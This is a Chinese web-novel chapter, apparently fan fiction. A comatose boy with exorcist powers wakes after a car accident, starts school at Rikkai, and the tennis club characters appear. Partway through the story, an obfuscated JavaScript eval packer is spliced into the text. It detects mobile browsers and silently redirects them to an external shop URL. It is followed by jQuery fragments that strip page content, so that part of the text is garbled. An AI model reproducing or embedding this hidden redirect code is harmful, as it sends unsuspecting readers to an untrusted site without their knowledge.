平铺的夜粘着点点星光,如此微弱,却建起光与影的屏障。相连着的嫣红的月,正挥洒乳白的光,光所及之处,寂静无声,仿若万物被扼制咽喉。
而月光的终了徘徊在未合拢的窗上。
窗内正阻碍它的东西,粘稠、厚重,像最不堪角落流动的污水,冗杂着最深沉的黑,幽幽地渗向病床中央,逼近鼓起的被子中战战兢兢的男孩。
“你!你究竟,究竟是、是什么啊……”
丸井里空,年7岁,最喜欢的人是哥哥,热爱足球。
一周前因为踢球导致骨折,即使再三抗议也要在医院过一段无聊的日子。
不过,他现在正面临短暂人生的最大危机。
——有个黏糊糊的大怪物要吃掉他啊啊啊!!!
他想逃,但距离醒来到现在,前怪物后墙壁毫无疑问都是死路。向来自许大孩子的丸井里空眼眶通红,心里有个声音在说,他等不到明天接他出院的妈妈和哥哥了。
没得到指示,眼泪也因此有了想法,止不住流淌。
“我不要死啊我不要死我不要死……”
“我要见妈,妈妈,我、我要见哥……”
而里空并没有看见,暗红丝线自他的身体向外蔓延,不停向四周探索,强烈的求生欲望好似得到了回应。
原本平静无风的空间,窗帘微浮。
有道声音轻而柔和:
“别怕。”
顷刻间,昏暗屋内原本朦胧的光更为闪烁,无数光点飞跃,飘荡,聚拢为实体,如成型的利箭,直指黑雾跨越而去。
“嗖——”伴随刺破黑雾的光束转瞬即逝,里空的哭声戛然而止,无法窥见的丝线一同断开,他睁大眼睛见证了黑暗的消退,泪光之中也映出一道瘦削的身影……
银白色的发丝间似藏匿着月亮泄露的光,只发尾处的一点翠绿更是闪烁。
少年模样的人轻阖双眸,面容恬静,只有唇齿张合,诚恳地诵念。
而风带起衣角微扬,
些许光点散漫地游离在他的四周,
如同守护者。
丸井里空不禁放缓呼吸,嫣红爬上他的耳尖,比起劫后余生,此刻他更心灵澎湃。
好、好像,
遇到神明了……
正在净化一条龙的月见里心宿尚且不知道自己脱离了人籍,他有点惆怅,编故事他一向不如他不靠谱的母亲和江家前辈熟练,但这次没人帮他应对被邪祟卷进来的无辜人。
说起来,前辈们都是怎么做的来着。
刚苏醒的大脑艰难地运转。
光点彻底沉寂于黑夜的时候,月见里心宿才缓缓睁开双眸,晃神一瞬而过,他便适应了环境的昏暗。
视线很快清明,无奈后,他浅浅笑着和丸井里空相视。
“没事了,这只是一场梦,你很快就会醒来的。”月见里心宿揉揉男孩粉色的头发,感叹着手感真好,又弯腰理顺他的发丝,笑齿璨如玉,“怪物被我们的勇气战胜了哦。”
里空的脸颊发红,被崇拜的神明哥哥夸耀使他有些不知所措。
“那么,现在要晚安啦。”
月见里绕到男孩后背的两指并拢,被默念的咒语即刻生效。也因此,他没有注意丸井里空张嘴欲言。
很快,少年扶住男孩倒下的身体,放躺在床铺,又细细捻好被褥。
“晚安,忘掉这些不愉快吧。”月见里心宿真心祝愿道,这孩子的年龄看起来不大,消除记忆的法术他还承受不住,就当成一场梦吧。
“呲啦——”
聚集的邪祟被亮着光芒的保护屏障隔绝在外,粘稠的黑色浑浊物不断向屏障最顶端扩散,持续无意识地攻击。
刮划声不间断刺激着耳朵。
少年活动下手腕向前,平和外表下的烦躁不断增生。
总是勾着恰好弧度的嘴角收起,眼中的余温也层层褪去。
踏出光色柔和的白圈,他垂着眼帘,素来温顺的嗓音纠缠起几丝绵长的哀怨:
“我可是病患啊。”
……
白天的医院总是人来人往,脚步匆匆的医者穿梭在每一个需要间,住宿于此的人们彼此交谈,而即将出院的孩子正蹦蹦跳跳地牵着哥哥的手离开。
“是真的!我昨天真的见到神明了!”
里空气鼓鼓地扯住哥哥,眼神认真,“是货真价实的,会发光的神明!”
被拽着手臂的丸井文太只得无奈点头,顺着弟弟的意思,小孩子嘛,分不清梦和现实很正常。
他们刚刚走过的房间内,沉寂而无声,唯一的病人也正在沉睡。
光线在他的脸庞迟迟不离,映出少年苍白恬静的脸颊,似乎是独有的怜爱。
恍惚地,少年胸膛的起伏变奏,眼睫晃动,紧闭的双眸打开一丝缝隙,接着纤瘦的手臂支撑起软绵的身子坐起。
似乎刚刚从很多个梦境中脱身。
月见里心宿恢复清醒的状态,看得见对他而言略微宽大的病号服,也能够观察血色渐渐充满苍白到显得无力的双手。他不由得发力握紧又松开,额头有点痛的脑子如同荒废已久的机械,断开的程序也慢慢启动。
刹车的慌乱,玻璃的震碎,交错的血迹和一声声……
“心宿!”
残缺的记忆一闪而过。
他,好像,出车祸了?
即使有意再去拼凑,最后的记忆却像是不全的拼图,根本没有办法解锁逻辑的图案。
所以。
发丝银白的少年缓慢地思索。
是不是应该被人发现他醒了。
……
“奇迹,真是奇迹!”
宫野医生第四次阅读完手中的报告单,投向月见里心宿的眼里依旧亮着灼热的光。
“你就是奇迹啊。”明明前面的九个月昏迷期间没有一丝丝可能苏醒的迹象,甚至生命气息一再降到最低,但……
宫野注视着面若桃花却神色淡淡的少年,思绪转折,这个孩子做到了,以最惊人的速度恢复,没有任何的不良症状。
如果不是病服下触目惊心的疤痕仍在,宫野真部不会想象到他的遭遇。
“再观察几天头痛的原因,如果没什么问题就可以出院了。”
月见里心宿点点头,倒不是他不礼貌,主要是,他现在吧……
总体是相当常规的一场检查,如果忽视月见里女士和江先生感性的从头哭到尾。
啊,他是不是也要跟着一起哭。
直到回到病房,心宿都不时迷茫地想。
明明都是各自领域的领军人物,往日在外也端的是不怒自威的架势,在家倒是跳脱,但真的没见到过爸妈这样的一面,像是被悲伤淹没了。
“那,那个,爸妈……”
“没关系的阿宿,这是妈妈的错,不用为妈妈开脱。”
“……”那算了,他还是闭嘴好了。
月见里女士握着他的手,如同记忆中一般湛蓝的眼睛如蓝天如碧海,此刻填满心疼和愧疚,“对不起,妈妈疏忽了对你的照顾,中学开学第一天这么重要日子错过了,还让阿宿你,遭遇这些……”
说罢,她拭去欲坠的泪,眼角红着,只剩下一丝不苟的挽发才能显现出她往日的几分平静。
“我,没事。”心宿忽然地出声,“医生已经,说过,很快,能出院。”看起来苍白无力的手回握,少年弯着眼,面对和自己七分相似的面容,一字一顿地轻轻说着。
不知道算不算后遗症,他想要干脆利索的说话实在费劲。只有语速放慢,才能勉强维持一句话的完整。
温暖的掌心盖住头发,心宿一愣。
是一直出奇的沉默的父亲。
“不想打网球就不打了,别有压力。”
江先生语气里带着沉痛,完全看不到训练学员时的笑面虎姿态,他已经悔恨又恐惧地守了七个月,更是把车祸的发生归于自己。
至于为什么。
啊,因为,自己是在去网球比赛的路上出的车祸……?
如果当初不勉强这孩子就好了,可事已至此江原修只能心怀愧疚地补偿。
月见里心宿觉得自己触摸到真相了。但想起网球,他的心情便不可控的复杂起来。
垂眸,洁白的地面却好像又一次印出血迹——黄色的球重重砸落又弹起,绽放一朵朵血色的花。
……我,在做什么?
……这是哪?
……为什么,比赛已经结束了?
耳边是嘈杂的嗡鸣,铺天盖地的恐惧与慌乱占据无法思考的大脑。
对、对不起……
将要发出的声音堵塞在干涸的喉咙。
思绪回笼,心宿眨眨酸涩的眼睛。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836026|211422||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>车祸前的比赛是他打算走出那件事的最初一步,却没想到会发展成这样。
……果然他还是没有资格打网球。
于是,心宿只是垂头,翠绿色的眸子沉溺在阴影下,他听着自己说:
“好。”
……
一周后,拿到复查结果的月见里心宿成功结束了七个月多的医院生活。
在经历了母亲大人的亲自改造后,他原本太久没搭理的头发被修剪到略微及肩,勉强能扎成一小揪,两侧鬓发垂落耳畔,银白的光泽成就了乌黑的亮眼。
心宿压低帽檐,遮住大半面容。
于是镜子里,仅剩只眼睛,依旧流动着生命的翠色。
一切准备就绪。
现在,他将作为准新生完成迟到许久的入学,进入立海大附属中学。
……
燥热的月份,斑驳的树影在过路的人身上走走停停,唯有偶尔四起的微风轻轻,跟随行人一路无阻。
走廊内,月见里心宿紧跟着前方优雅知性的女士。
“月见里同学已经被安排到了一年级D组,我是你的班主任,可以叫我中村老师。”
“不用太过紧张,同学们很好相处,有什么困难随时来找我。落下的课程老师和同学们会帮你补回来的。”
想起什么,中村惠子脚步一顿,状似无意,“有听校长说起月见里同学之前在网球上的优异成绩,要考虑加入男子网球部吗?”
只是偶尔回个声的心宿被问住在原地,到嘴边的答案被咽下去,他摇摇头又意识到对方看不见,才接着道:“不,谢谢,老师。”
他还没有找到自己打网球的资格。
“那好,下午校服会发给你,稍后也会有学长带月见里同学参观学校的。”余光扫过,知道少年身份的中村遗憾地叹息,又很快扬起笑容。
偶像的儿子原来不打算走自己父亲的路啊,太可惜了吧。
“不,不用。”心宿其实更想一个人转转,有个人一起还要不停说话,“知道,地图,一个人,可以。”
真的,他现在觉得说话好累。
虽然知道不妥当,但校长特意叮嘱过能答应尽量答应这孩子的要求。况且,她相信立海大的安全性,也不想拒绝一个大病初愈的孩子。
中村无奈,“那月见里同学自己参观一下吧,中午的时候可以去食堂门口和学长汇合。”
“谢谢。”
“有问题记得联系老师。”
告别中村老师,终于可以不用艰难组织语言,紧绷的心宿放松下来身体。
那接下来就随便走走好了。
他其实,还挺想去看看王者立海的网球部的。反正不加入,看看也没关系吧?
月见里心宿的脚步改变了方向。
……
早晨刚因为学生会任务在晨练中请假的柳生比吕士,在刚刚到达目的地时被通知回来了。
柳生:“……”
“柳生这么快就回来了?”跑道上丸井文太额前刚挂上薄汗,一抬头就看见了原本应该离开的身影,忽然如临大敌,“还是说,那是仁王?”
已经开始顶着副部长威压每时每刻为捉弄准备着了吗?!
“puri,不是我哦。”稍微加速到并肩同行的仁王雅治用行动为自己的清白证明。
正向部长销假的柳生一无所知。
“准确来说我也不知道实情,老师只通知是带领新生参观学校的任务推迟了。”他几乎是白跑了一趟,不过这并不重要。
闻言,幸村精市略微不解,“这个时候的新生吗?很少见。”
柳莲二也摇头:“没有相关的信息。”
“老师有说……”柳生回想起中村老师的话,斟酌着开口,“是位休学了几个月的后辈。网球打得不错,或许会加入网球部,希望多照顾一下。”
“原来是这样啊。”幸村含笑,稀碎的阳光落在月华的面容,容不下一丝灰暗,又沉淀去语调的温和,“真是期待。”
内心莫名的预感和好奇难得勾起幸村精市的几分兴趣。
“怎么没见副部长?”
“赤也还没到,弦一郎主动去找他了。”幸村的回答是如此稀疏平常,但熟悉同伴的柳生和柳自然听得出内里的深意。
移开视线,柳默默地祝福着。
好运,赤也。